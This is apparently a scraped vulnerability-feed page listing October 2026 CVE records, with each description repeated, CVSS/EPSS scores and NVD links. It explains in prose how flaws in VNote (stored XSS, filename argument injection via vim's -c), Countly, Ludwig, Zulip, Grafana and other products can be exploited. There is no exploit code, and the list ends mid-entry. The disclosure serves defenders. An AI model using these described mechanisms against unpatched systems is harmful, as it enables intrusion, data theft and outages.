VNote is a note-taking platform. Prior to 4.3.0, VNote uses the assignment `preNode.innerHTML = p_metaData` in src/data/extra/web/js/markdownit.js to insert YAML frontmatter metadata into a pre element before the protectFromXss sanitization path runs. Opening an attacker-supplied Markdown note can therefore execute stored JavaScript in the file:// viewer context. Because QWebEngineSettings::LocalContentCanAccessRemoteUrls enables local content to access remote URLs, the script can read reachable local note files and transmit their contents to a remote server without further interaction after the note is opened. This issue is fixed in version 4.3.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VNote is a note-taking platform.
https://kevwire.com/record/CVE-2026-86022
VNote is a note-taking platform. (Oct 13, 2026).
VNote is a note-taking platform. Prior to 4.3.0, SessionConfig::ExternalProgram::fetchCommand wraps a note path in double quotes and substitutes it into a command string that QProcess::start(const QString&) reparses into arguments through ProcessUtils::startDetached. The automatic path in src/controllers/viewareacontroller.cpp and the Open With path in src/controllers/notebooknodecontroller.cpp both reach this sink. On Linux and macOS, an attacker-controlled double quote in a POSIX note filename can terminate the quoted path and add arguments to the victim's configured external program. If the configured program supports an argument that executes commands, such as the vim or gvim -c option, the injected arguments can execute arbitrary commands as the user. This issue is fixed in version 4.3.0.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86022).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86022&date=2026-10-25).
Sources:
NVD CVE-2026-86022: https://nvd.nist.gov/vuln/detail/CVE-2026-86022
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86022&date=2026-10-25
VNote is a note-taking platform. Prior to 4.3.0, SessionConfig::ExternalProgram::fetchCommand wraps a note path in double quotes and substitutes it into a command string that QProcess::start(const QString&) reparses into arguments through ProcessUtils::startDetached. The automatic path in src/controllers/viewareacontroller.cpp and the Open With path in src/controllers/notebooknodecontroller.cpp both reach this sink. On Linux and macOS, an attacker-controlled double quote in a POSIX note filename can terminate the quoted path and add arguments to the victim's configured external program. If the configured program supports an argument that executes commands, such as the vim or gvim -c option, the injected arguments can execute arbitrary commands as the user. This issue is fixed in version 4.3.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The authorization middleware of the WMS MobileServer
fails to require authentication in two distinct cases. First, it
only requires an Authorization header for GET and HEAD...
https://kevwire.com/record/CVE-2026-89309
The authorization middleware of the WMS MobileServer
fails to require authentication in two distinct cases. First, it
only requires an Authorization header for GET and HEAD... (Oct 13, 2026).
The authorization middleware of the WMS MobileServer
fails to require authentication in two distinct cases. First, it
only requires an Authorization header for GET and HEAD requests; requests
using any other HTTP method are processed without an authentication check.
Second, for any HTTP method including GET and HEAD, a request carrying a
malformed or non-bearer Authorization header is passed through without
a valid token being required.





The middleware does validate a token whenever a
well-formed one is present, but in these two cases it does not
require one. A remote attacker with network access to the service can
therefore invoke API functionality without valid credentials.
CVSS 10.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89309).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89309&date=2026-10-25).
Sources:
NVD CVE-2026-89309: https://nvd.nist.gov/vuln/detail/CVE-2026-89309
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89309&date=2026-10-25
The authorization middleware of the WMS MobileServer
fails to require authentication in two distinct cases. First, it
only requires an Authorization header for GET and HEAD requests; requests
using any other HTTP method are processed without an authentication check.
Second, for any HTTP method including GET and HEAD, a request carrying a
malformed or non-bearer Authorization header is passed through without
a valid token being required.





The middleware does validate a token whenever a
well-formed one is present, but in these two cases it does not
require one. A remote attacker with network access to the service can
therefore invoke API functionality without valid credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A parameter taken from the request body is inserted into
a T-SQL statement without parameterization or escaping, allowing
a remote attacker to execute arbitrary SQL statements in...
https://kevwire.com/record/CVE-2026-89310
A parameter taken from the request body is inserted into
a T-SQL statement without parameterization or escaping, allowing
a remote attacker to execute arbitrary SQL statements in... (Oct 14, 2026).
A parameter taken from the request body is inserted into
a T-SQL statement without parameterization or escaping, allowing
a remote attacker to execute arbitrary SQL statements in the context of the
application's database account.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89310).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89310&date=2026-10-25).
Sources:
NVD CVE-2026-89310: https://nvd.nist.gov/vuln/detail/CVE-2026-89310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89310&date=2026-10-25
A parameter taken from the request body is inserted into
a T-SQL statement without parameterization or escaping, allowing
a remote attacker to execute arbitrary SQL statements in the context of the
application's database account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Junrar is an open source Java RAR archive library.
https://kevwire.com/record/CVE-2026-97370
Junrar is an open source Java RAR archive library. (Oct 15, 2026).
Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97370).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97370&date=2026-10-25).
Sources:
NVD CVE-2026-97370: https://nvd.nist.gov/vuln/detail/CVE-2026-97370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97370&date=2026-10-25
Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states.
https://kevwire.com/record/CVE-2026-97851
The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states. (Oct 16, 2026).
The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states. Changing a location to TO_DELETE causes PurgeStorageScheduler to delete the referenced object from storage even though the corresponding instance record remains in the database.
CVSS 8.8 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97851).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97851&date=2026-10-25).
Sources:
NVD CVE-2026-97851: https://nvd.nist.gov/vuln/detail/CVE-2026-97851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97851&date=2026-10-25
The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states. Changing a location to TO_DELETE causes PurgeStorageScheduler to delete the referenced object from storage even though the corresponding instance record remains in the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zulip is an open-source team collaboration tool.
https://kevwire.com/record/CVE-2026-102893
Zulip is an open-source team collaboration tool. (Oct 14, 2026).
Zulip is an open-source team collaboration tool. In Zulip Server versions through 12.1, GenericOpenIdConnectBackend matches the identity provider email claim to an active account's delivery_email without rejecting an explicitly false email_verified claim. If a configured identity provider returns an email address that the authenticating user does not control together with email_verified=false, Zulip can log the user into the existing account for that address. Exploitation requires a misconfigured trusted identity provider, and deployments whose authoritative identity provider only emits email addresses controlled by the authenticating user are not affected. This issue is fixed in version 12.2.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102893).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102893&date=2026-10-25).
Sources:
NVD CVE-2026-102893: https://nvd.nist.gov/vuln/detail/CVE-2026-102893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102893&date=2026-10-25
Zulip is an open-source team collaboration tool. In Zulip Server versions through 12.1, GenericOpenIdConnectBackend matches the identity provider email claim to an active account's delivery_email without rejecting an explicitly false email_verified claim. If a configured identity provider returns an email address that the authenticating user does not control together with email_verified=false, Zulip can log the user into the existing account for that address. Exploitation requires a misconfigured trusted identity provider, and deployments whose authoritative identity provider only emits email addresses controlled by the authenticating user are not affected. This issue is fixed in version 12.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models.
https://kevwire.com/record/CVE-2026-104103
Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models. (Oct 14, 2026).
Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models. Prior to 0.17.8, ludwig.datasets.archives.extract_archive() validated tar member names before calling TarFile.extractall() but did not validate symlink members or hard-link members. A crafted archive could create a link that escaped the extraction directory and then write a later member through that link, placing attacker-controlled content at an arbitrary filesystem path with the extracting process's privileges. The same containment check used os.path.commonprefix, so a sibling path sharing the destination's character prefix could also pass. The dataset-loading path can download and extract configured archive URLs, but exploitation requires a user to process an archive from a source controlled or compromised by the attacker on supported Python 3.12 and 3.13 runtimes. Python 3.14 is not affected because its default tar data filter rejects escaping links. This issue is fixed in version 0.17.8.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104103).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104103&date=2026-10-25).
Sources:
NVD CVE-2026-104103: https://nvd.nist.gov/vuln/detail/CVE-2026-104103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104103&date=2026-10-25
Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models. Prior to 0.17.8, ludwig.datasets.archives.extract_archive() validated tar member names before calling TarFile.extractall() but did not validate symlink members or hard-link members. A crafted archive could create a link that escaped the extraction directory and then write a later member through that link, placing attacker-controlled content at an arbitrary filesystem path with the extracting process's privileges. The same containment check used os.path.commonprefix, so a sibling path sharing the destination's character prefix could also pass. The dataset-loading path can download and extract configured archive URLs, but exploitation requires a user to process an archive from a source controlled or compromised by the attacker on supported Python 3.12 and 3.13 runtimes. Python 3.14 is not affected because its default tar data filter rejects escaping links. This issue is fixed in version 0.17.8.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are...
https://kevwire.com/record/CVE-2026-107777
Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are... (Oct 16, 2026).
Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are accessible to the web service account.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107777).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107777&date=2026-10-25).
Sources:
NVD CVE-2026-107777: https://nvd.nist.gov/vuln/detail/CVE-2026-107777
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107777&date=2026-10-25
Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are accessible to the web service account.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### countly-server is the server-side part of Countly, a product analytics solution.
https://kevwire.com/record/CVE-2026-42269
countly-server is the server-side part of Countly, a product analytics solution. (Oct 16, 2026).
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, the authenticated data-migration deletion route in plugins/data_migration/api/api.js passes the user-controlled exportid to clean_up_data without path validation. plugins/data_migration/api/data_migration_helper.js concatenates that identifier into a path resolved outside the intended import directory and calls remove recursively, allowing an application administrator or user with migration permission to delete writable files or directory trees and cause data loss or service disruption. This issue is fixed in versions 24.05.50 and 25.03.44.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42269).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42269&date=2026-10-25).
Sources:
NVD CVE-2026-42269: https://nvd.nist.gov/vuln/detail/CVE-2026-42269
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42269&date=2026-10-25
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, the authenticated data-migration deletion route in plugins/data_migration/api/api.js passes the user-controlled exportid to clean_up_data without path validation. plugins/data_migration/api/data_migration_helper.js concatenates that identifier into a path resolved outside the intended import directory and calls remove recursively, allowing an application administrator or user with migration permission to delete writable files or directory trees and cause data loss or service disruption. This issue is fixed in versions 24.05.50 and 25.03.44.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### countly-server is the server-side part of Countly, a product analytics solution.
https://kevwire.com/record/CVE-2026-42270
countly-server is the server-side part of Countly, a product analytics solution. (Oct 16, 2026).
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, star-rating/images/ and dashboards/images/screenshots/ are among public image and screenshot routes using the local fs storage backend that call getStream and pipe filesystem streams to HTTP responses without an error listener. An unauthenticated request containing a URL-encoded dot can make createReadStream open a directory, emit an asynchronous EISDIR error, and terminate the Node.js process as an unhandled exception, allowing repeated requests to keep the analytics API unavailable. The affected routes also include /appimages/*, /memberimages/*, and */screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42270).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42270&date=2026-10-25).
Sources:
NVD CVE-2026-42270: https://nvd.nist.gov/vuln/detail/CVE-2026-42270
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42270&date=2026-10-25
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, star-rating/images/ and dashboards/images/screenshots/ are among public image and screenshot routes using the local fs storage backend that call getStream and pipe filesystem streams to HTTP responses without an error listener. An unauthenticated request containing a URL-encoded dot can make createReadStream open a directory, emit an asynchronous EISDIR error, and terminate the Node.js process as an unhandled exception, allowing repeated requests to keep the analytics API unavailable. The affected routes also include /appimages/*, /memberimages/*, and */screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows...
https://kevwire.com/record/CVE-2026-85298
An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows... (Oct 14, 2026).
An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows an authenticated user to escalate privileges and impersonate a service account in the project.


This vulnerability was patched on 27 August 2026, and no customer action is needed.
CVSS 7.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85298).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85298&date=2026-10-25).
Sources:
NVD CVE-2026-85298: https://nvd.nist.gov/vuln/detail/CVE-2026-85298
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85298&date=2026-10-25
An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows an authenticated user to escalate privileges and impersonate a service account in the project.


This vulnerability was patched on 27 August 2026, and no customer action is needed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources.
https://kevwire.com/record/CVE-2026-9703
Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources. (Oct 15, 2026).
Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources. A user holding only the Viewer role on an affected Grafana instance could send POST, PUT and DELETE requests through the proxy to the Loki rules API (/loki/api/v1/rules), allowing them to create, modify and delete Loki alerting rules. Because those rules are stored by Loki rather than by Grafana, the change took effect for every user of that Loki data source, not only for the Viewer who made the request.

Exploitation requires an authenticated Viewer account on the Grafana instance and a configured Loki data source; no other privileges are needed. Both Grafana OSS and Grafana Enterprise are affected. The defect is in Grafana's data source proxy; Loki itself is not vulnerable and does not need to be patched.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9703).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9703&date=2026-10-25).
Sources:
NVD CVE-2026-9703: https://nvd.nist.gov/vuln/detail/CVE-2026-9703
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9703&date=2026-10-25
Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources. A user holding only the Viewer role on an affected Grafana instance could send POST, PUT and DELETE requests through the proxy to the Loki rules API (/loki/api/v1/rules), allowing them to create, modify and delete Loki alerting rules. Because those rules are stored by Loki rather than by Grafana, the change took effect for every user of that Loki data source, not only for the Viewer who made the request.

Exploitation requires an authenticated Viewer account on the Grafana instance and a configured Loki data source; no other privileges are needed. Both Grafana OSS and Grafana Enterprise are affected. The defect is in Grafana's data source proxy; Loki itself is not vulnerable and does not need to be patched.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85817
Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85817).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85817&date=2026-10-25).
Sources:
NVD CVE-2026-85817: https://nvd.nist.gov/vuln/detail/CVE-2026-85817
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85817
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85817&date=2026-10-25
Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-85818
Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.
CVSS 9.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85818).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85818&date=2026-10-25).
Sources:
NVD CVE-2026-85818: https://nvd.nist.gov/vuln/detail/CVE-2026-85818
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85818
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85818&date=2026-10-25
Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85820
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85820).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85820&date=2026-10-25).
Sources:
NVD CVE-2026-85820: https://nvd.nist.gov/vuln/detail/CVE-2026-85820
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85820
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85820&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.
https://kevwire.com/record/CVE-2024-34320
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints. (Oct 13, 2026).
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-34320).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-34320&date=2026-10-25).
Sources:
NVD CVE-2024-34320: https://nvd.nist.gov/vuln/detail/CVE-2024-34320
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-34320&date=2026-10-25
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter.
https://kevwire.com/record/CVE-2024-34323
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter. (Oct 13, 2026).
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter. This vulnerability allows attackers to access sensitive information via a crafted HTTP request.
CVSS 10.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-34323).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-34323&date=2026-10-25).
Sources:
NVD CVE-2024-34323: https://nvd.nist.gov/vuln/detail/CVE-2024-34323
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-34323&date=2026-10-25
ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter. This vulnerability allows attackers to access sensitive information via a crafted HTTP request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId...
https://kevwire.com/record/CVE-2024-34324
